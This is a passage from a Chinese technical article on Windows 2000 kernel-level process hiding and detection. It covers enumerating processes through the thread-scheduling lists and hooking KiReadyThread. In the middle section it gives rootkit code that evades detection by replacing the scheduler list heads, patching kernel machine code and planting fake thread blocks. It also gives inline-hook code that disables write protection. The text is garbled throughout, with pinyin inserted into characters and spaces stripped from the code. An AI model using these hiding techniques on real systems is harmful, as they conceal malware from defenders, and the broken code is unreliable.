+160struct_KAPCSuspendApc
+190struct_KSEMAPHORESuspendSemaphore
+1a4struct_LIST_ENTRYThreadListEntry
+1accharFreezeCount
+1adcharSuspendCount
+1aebyteIdealProcessor
+1afbyteDisableBoost
在偏移0x5c處有一個(gè)WaitListEntry成員,這個(gè)就是用來鏈接到線程調(diào)度鏈表的。在偏移0x34處有一個(gè)ApcState成員結(jié)構(gòu),在ApcState中的Process域就是指向當(dāng)前線程關(guān)聯(lián)的進(jìn)程的KPROCESS塊,由于KPROCESS塊是EPROCESS塊的第一個(gè)元素,所以找到了KPROCESS塊指針也就是找到了EPROCESS塊的指針。找到了EPROCESS就不用多少了,就可以取得當(dāng)前線程的進(jìn)程的名字,ID號等。
2.線程調(diào)度
在windows系統(tǒng)中,線程調(diào)度主要分成三條主要的調(diào)度鏈表。分別是KiWaitInListHead,KiWaitOutListhead,KiDispatcherReadyListHead,分別是兩條阻塞鏈,一條就緒鏈表,當(dāng)線程獲得CPU執(zhí)行的時(shí)候,系統(tǒng)分配一,,個(gè)時(shí)間片給線程,當(dāng)發(fā)生一次時(shí)鐘中斷就從分配的時(shí)間片上減去一個(gè)時(shí)鐘中斷的值,如果這個(gè)值小于零了也就是時(shí)間片用完了,那么這個(gè)線程根據(jù)其優(yōu)先級載入到相應(yīng)的就緒隊(duì)列末尾。KiDispatcherReadyListHead是一個(gè)數(shù)組鏈的頭部,在windows2000中它包含有32個(gè)隊(duì)列,分別對應(yīng)線程的32個(gè)優(yōu)先級。如果線程因?yàn)橥?,或者是對外設(shè)請求,那么阻塞線程,讓出CPU的所有權(quán),加如到阻塞隊(duì)列里面去。CPU從就緒隊(duì)列里面,按照優(yōu)先權(quán)的前后,重新調(diào)度新的線程的執(zhí)行。當(dāng)阻塞隊(duì)列里面的線程獲得所需求的資源,或者是同步完成就又重新加到就緒隊(duì)列里面等待執(zhí)行。
3.通過線程調(diào)度鏈表進(jìn)行隱藏進(jìn)程的檢測
voidDisplayList(PLIST_ENTRYListHead)
{
PLIST_ENTRYList=ListHead->Flink;
if(List==ListHead)
{
//DbgPrint("return\n");
return;
}
PLIST_ENTRYNextList=List;
while(NextList!=ListHead)
{
PKTHREADThread=ONTAINING_RECORD(NextList,KTHREAD,WaitListEntry);
PKPROCESSProcess=Thread->ApcState.Process;
PEPROCESSpEprocess=(PEPROCESS)Process;
DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);
NextList=NextList->Flink;
}
}
以上是對一條鏈進(jìn)行進(jìn)程枚舉。所以我們必須找到KiWaitInListHeadKiWaitOutListheadKiDispatcherReadyListHead的地址,由于他們都沒有被ntoskrnl.exe導(dǎo)出來,所以只有通過硬編碼的辦法給他們賦值。通過內(nèi)核調(diào)試器,能找到(windows2000sp4):
PLIST_ENTRYKiWaitInListHead=(PLIST_ENTRY)0x80482258;
PLIST_ENTRYKiDispatcherReadyListHead=(PLIST_ENTRY)0x804822e0;
PLIST_ENTRYKiWaitOutListhead=(PLIST_ENTRY)0x80482808;
遍歷所有的線程調(diào)度鏈表。
for(i=0;i<32;i++)
{
DisplayList(KiDispatcherReadyListHead+i);
}
DisplayList(KiWaitInListHead);
DisplayList(KiWaitOutListhead);
通過上面的那一小段核心代碼就能把刪除活動(dòng)進(jìn)程鏈表的隱藏進(jìn)程給查出來。也可以改寫一個(gè)友好一點(diǎn)的驅(qū)動(dòng),加入IOCTL,得到的進(jìn)程信息把打印在DbgView中把它返回給Ring3的應(yīng)用程序,然后應(yīng)用程序?qū)Ψ祷氐臄?shù)據(jù)進(jìn)行處理,和Ring3級由PSAPI得到的進(jìn)程對比,然后判斷是不是有隱藏的進(jìn)程。
4.繞過內(nèi)核調(diào)度鏈表隱藏進(jìn)程。
Xfocus上SoBeIt提出了繞過內(nèi)核調(diào)度鏈表進(jìn)程檢測。詳情可以參見原文:
/articles/200404/693.html
由于現(xiàn)在的基于線程調(diào)度的檢測系統(tǒng)都是通過內(nèi)核調(diào)試器得硬編碼來枚舉所有的調(diào)度線程的,所以我們完全可以自己創(chuàng)造一個(gè)那三個(gè)調(diào)度鏈表頭,然后把原鏈表頭從鏈中斷開,把自己的申請的鏈表頭接上去。由于線程調(diào)度的時(shí)候會(huì)用到KiFindReadyThread等內(nèi)核API,在KiFindReadyThread里面又會(huì)去訪問KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段訪問KiDispatcherReadyListHead的機(jī)器碼修改了,把原KiDispatcherReadyListHead的地址改成我們新申請的頭。
kd>uKiFindReadyThread+0x48
nt!KiFindReadyThread+0x48:
804313db8d34d5e0224880leaesi,[nt!KiDispatcherReadyListHead(804822e0)+edx*8]
很明顯我們可以在機(jī)器碼中看到e0224880,由于它是在內(nèi)存中以byte序列顯示的轉(zhuǎn)換成DWORD就是804822e0就是我們KiDispatcherReadyListHead的地址。所以我們要做的就是把[804313db+3]賦值成我們自己申請的一個(gè)鏈頭。使其系統(tǒng)以后對原鏈表頭的操作變化成對我們自己申請的鏈表頭的操作。同理用到那三個(gè)鏈表頭的還有一些內(nèi)核API,所以必須找到他們在機(jī)器碼中含有原表頭地址信息的具體地址然后把它全部替換掉。不然系統(tǒng)調(diào)度就會(huì)出錯(cuò).系統(tǒng)中用到KiWaitInListHead的例程:KeWaitForSingleObject、KeWaitForMultipleObject、KeDelayExecutionThread、KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一樣。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。
申請新的表頭空間:
pNewKiWaitInListHead=(PLIST_ENTRY)ExAllocatePool\
(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiWaitOutListHead=(PLIST_ENTRY)ExAllocatePool\
(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiDispatcherReadyListHead=(PLIST_ENTRY)ExAllocatePool\
(NonPagedPool,32*sizeof(LIST_ENTRY));
下面僅僅以pNewKiWaitInListHead頭為例,其他的表頭都是一樣的操作。
新調(diào)度鏈表的表頭替換:
InitializeListHead(pNewKiWaitInListHead);
把原來的系統(tǒng)鏈表頭摘除,把新的接上去:
pFirstEntry=pKiWaitInListHead->Flink;
pLastEntry=pKiWaitInListHead->Blink;
pNewKiWaitInListHead->Flink=pFirstEntry;
pNewKiWaitInListHead->Blink=pLastEntry;
pFirstEntry->Blink=pNewKiWaitInListHead;
pLastEntry->Flink=pNewKiWaitInListHead;
剩下的就是在原來的線程調(diào)度鏈表上做文章了使其基于線程調(diào)度檢測系統(tǒng)看不出什么異端.
for(;;)
{
InitializeListHead(pKiWaitInListHead);
for(pEntry=pNewKiWaitInListHead->Flink;
pEntry&&pEntry!=pNewKiWaitInListHead;
pEntry=pEntry->Flink)
{
pETHREAD=(PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS=(PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID=*(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID==0x8)
continue;
pFakeETHREAD=ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD,pETHREAD,sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitInListHead,&pFakeETHREAD->WaitListEntry);
}
...休息一段時(shí)間
}
首先每過一小段時(shí)間就把原來的線程調(diào)度鏈表清空,然后遍歷當(dāng)前的線程調(diào)度鏈,判斷鏈中的每一個(gè)KPROCESS塊是不是要屬于要隱藏的進(jìn)程線程,如果是就跳過,不是就自己構(gòu)造一個(gè)ETHREAD塊把當(dāng)前的信息拷貝過去,然后把自己構(gòu)造的ETHREAD塊加入到原來的調(diào)度鏈表中。為什么要自己構(gòu)造一個(gè)ETHREAD?其原因主要有2個(gè),其一為了使檢測系統(tǒng)看起來更可信,如果僅僅清空原來的線程調(diào)度鏈表那么檢測系統(tǒng)將查不出來任何的線程和進(jìn)程信息,
很明顯,這無疑不打自招的說,系統(tǒng)里面已經(jīng)有東西了。其二,如果把自己構(gòu)造的ETHREAD塊掛接在原調(diào)度鏈表中,檢測系統(tǒng)會(huì)訪問掛在原來調(diào)度鏈表上的ETHREAD塊里面的成員,如果不自己構(gòu)造一個(gè)和真實(shí)ETHREAD塊重要信息一樣的塊,那么檢測系統(tǒng)很有可能出現(xiàn)非法訪問,然后就boom蘭屏了。
實(shí)際上所謂的繞過系統(tǒng)檢測僅僅是針對基于線程調(diào)度的檢測進(jìn)程的防御系統(tǒng)而言的,其實(shí)系統(tǒng)依舊在進(jìn)行線程調(diào)度,訪問的是我們新建的鏈表頭部。而檢測系統(tǒng)訪問的是原來的頭部,他后面的數(shù)據(jù)項(xiàng)是我們自己申請的,系統(tǒng)并不訪問。
5.檢測繞過內(nèi)核調(diào)度鏈表隱藏進(jìn)程
一般情況下我們是通過內(nèi)核調(diào)試器得到那三條鏈表的內(nèi)核地址,然后進(jìn)行枚舉。這就給隱藏者留下了機(jī)會(huì),如上面所示。但是我們完全可以把上面那種隱藏進(jìn)程檢測出來。我們也通過在內(nèi)核函數(shù)中取得硬編碼的辦法來分別取得他們的鏈表頭的地址。如上面我們已經(jīng)看見了KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的繞過內(nèi)核調(diào)度鏈表檢測辦法同時(shí)也去要修改KiFindReadyThread+0x48+3的值為新鏈表的頭部地址。所以我們的檢測系統(tǒng)完全可以從KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead,KiWaitOutListhead也都到使用他們的相應(yīng)的內(nèi)核函數(shù)里面去取得地址。就算原地址被修改過,我們也能把修改過后的調(diào)度鏈表頭給找出來。所以欺騙就不行了。
Hook內(nèi)核函數(shù)(KiReadyThread)檢測進(jìn)程
1.介紹通用Hook內(nèi)核函數(shù)的方法
當(dāng)我們要攔截目標(biāo)函數(shù)的時(shí)候,只要修改原函數(shù)頭5個(gè)字節(jié)的機(jī)器代碼為一個(gè)JMPXXXXXXXX(XXXXXXXX是距自己的Hook函數(shù)的偏移量)就行了。并且保存原來修改前的5個(gè)字節(jié)。在跳入原函數(shù)時(shí),恢復(fù)那5個(gè)字節(jié)即可。
charJmpMyCode[]={0xE9,0x00,0x00,0x00,0x00};//E9對應(yīng)Jmp偏移量指令
*((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//獲得偏移量
memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原來的代碼
memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆蓋前一個(gè)命令為一個(gè)跳轉(zhuǎn)指令
在系統(tǒng)內(nèi)核級中,MS的很多信息都沒公開,包括函數(shù)的參數(shù)數(shù)目,每個(gè)參數(shù)的類型等。在系統(tǒng)內(nèi)核中,訪問了大量的寄存器,而很多寄存器的值,是上層調(diào)用者提供的。如果值改變系統(tǒng)就會(huì)變得不穩(wěn)定。很可能出現(xiàn)不可想象的后果。另外有時(shí)候?qū)π枰狧ook的函數(shù)的參數(shù)不了解,所以不能隨便就去改變它的堆棧,如果不小心也有可能導(dǎo)致藍(lán)屏。所以Hook的最佳原則是在自己的Hook函數(shù)中呼叫原函數(shù)的時(shí)候,所有的寄存器值,堆棧里面的值和Hook前的信息一樣。這樣就能保證在原函數(shù)中不會(huì)出錯(cuò)。一般我們自己的Hook的函數(shù)都是寫在C文件里面的。例如Hook的目標(biāo)函數(shù)KiReadyThread。那么一般就自己實(shí)現(xiàn)一個(gè):
MyKiReadyThread(...)
{
......
callKiReadyThread
......
}
但是用C編譯器編譯出來的代碼會(huì)出現(xiàn)一個(gè)堆棧幀:
Pushebp
movebp,esp
這就和我們的初衷不改變寄存器的數(shù)違背了。所以我們可以自己用匯編來實(shí)MyKiReadyThread。
_MyKiReadyThread@0proc
pushad;保存通用寄存器
call_cfunc@0;這里是在進(jìn)入原來函數(shù)前進(jìn)行的一些處理。
popad;恢復(fù)通用寄存器
pusheax
moveax,[esp+4];得到系統(tǒng)在call目標(biāo)函數(shù)時(shí)入棧的返回地址。
movds:_OrgRet,eax;保存在一個(gè)臨時(shí)變量中
popeax
mov[esp],retaddr;把目標(biāo)函數(shù)的返回地址改成自己的代碼空間的返回地址,使其返回后能接手繼續(xù)的處理
jmp_OrgDestFunction;跳到原目標(biāo)函數(shù)中
retaddr:
pushad;原函數(shù)處理完后保存寄存器
call_HookDestFunction@0;再Hook
popad;回復(fù)寄存器
jmpds:_OrgRet;跳到系統(tǒng)調(diào)用目標(biāo)函數(shù)的下一條指令。
_MyKiReadyThread@0endp
在實(shí)現(xiàn)了Hook過后在當(dāng)調(diào)用原來的函數(shù)時(shí)(jmp_OrgDestFunction),這個(gè)時(shí)候所以寄存器的值和堆棧信息和沒Hook的時(shí)候一樣。在返回到系統(tǒng)的時(shí)候(jmpds:_OrgRet),這個(gè)時(shí)候的堆棧信息和寄存器的值和沒有Hook的時(shí)候也是一樣。就說是中間Hook層對下面和上面都是透明的。
2.檢測隱藏進(jìn)程
在線程調(diào)度搶占的的時(shí)候會(huì)調(diào)用KiReadyThread,它的原型為:
VOIDFASTCALLKiReadyThread(INPRKTHREADThread);
在進(jìn)入KiReadyThread時(shí),ecx指向Thread。所以完全可以HookKiReadyThread然后用ecx的值得到但前線程的進(jìn)程信息。KiReadyThread沒被ntosknrl.exe導(dǎo)出,所以通過硬編碼來。在2000Sp4中地址為0x8043141f。
voidcfunc(void)
{
ULONGPKHeader=0;
__asm
{
movPKHeader,ecx//ecx寄存器是KiReadyThread中的PRKTHREAD參數(shù)
}
ResumeDestFunction();//恢復(fù)頭5個(gè)字節(jié)
if(PKHeader!=0)
{
DisplayName((PKTHREAD)PKHeader);
}
}
cfun是Hook函數(shù)調(diào)用用來得到當(dāng)前線程搶占的進(jìn)程信息的。
voidDisplayName(PKTHREADThread)
{
PKPROCESSProcess=Thread->ApcState.Process;
PEPROCESSpEprocess=(PEPROCESS)Process;
DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);
}
voidHookDestFunction()//設(shè)置頭個(gè)字節(jié)為一個(gè)跳轉(zhuǎn)指令,跳到自己的函數(shù)中去
{
DisableWriteProtect(&orgcr0);
memcpy((char*)OrgDestFunction,JmpMyCode,5);
EnableWriteProtect(orgcr0);
}
voidResumeDestFunction()//恢復(fù)頭5個(gè)字節(jié)
{
DisableWriteProtect(&orgcr0);
memcpy((char*)OrgDestFunction,OrgCode,5);
EnableWriteProtect(orgcr0);
}
除了KiReadyThread其他還可以Hook其他內(nèi)核函數(shù),只有hook過后能得到線程或者是進(jìn)程的ETHREAD或者是EPROCESS結(jié)構(gòu)頭地址。其Hook的方法都是一樣的。HookKiReadyThread基本原來說明了,詳細(xì)實(shí)現(xiàn)可以見我的另外一篇文章《內(nèi)核級利用通用Hook函數(shù)方法檢測進(jìn)程》。
結(jié)論
以上對內(nèi)核級進(jìn)程隱藏和偵測做了一個(gè)總結(jié)和對每一種方法的原理進(jìn)行的詳細(xì)闡述,并給出了核心的實(shí)現(xiàn)代碼。
信息安全將是未來發(fā)展的一個(gè)重點(diǎn),攻擊和偵測都有一個(gè)向底層靠攏的趨勢。進(jìn)程隱藏和偵測只是信息安全中的很小的一個(gè)部分。未來病毒和反病毒底層化是一個(gè)不可逆轉(zhuǎn)的事實(shí)。通過對系統(tǒng)系統(tǒng)底層分析能更好的了解病毒技術(shù),從而能夠有效的進(jìn)行查殺。為以后從事信息安全方面的研究奠定一個(gè)好的基礎(chǔ)。